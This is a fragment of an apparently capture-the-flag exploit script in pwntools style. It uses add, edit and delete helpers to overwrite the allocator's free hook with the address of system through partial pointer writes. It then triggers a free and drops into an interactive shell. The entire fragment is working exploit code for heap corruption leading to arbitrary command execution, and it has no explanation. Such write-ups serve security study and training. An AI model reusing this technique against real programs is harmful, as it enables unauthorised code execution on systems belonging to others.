edit(2,'f1ag',6,p32((free_hook-0x51)&0xffffffff)+p16(((free_hook)>>32)&0xffff),2)

add(4,'f1ag','a'*0x51+p32((system)&0xffffffff)+p16(((system)>>32)&0xffff),'4')

#add(6,'f1ag',p64(system),5)

dele(1)
io.interactive()
exp()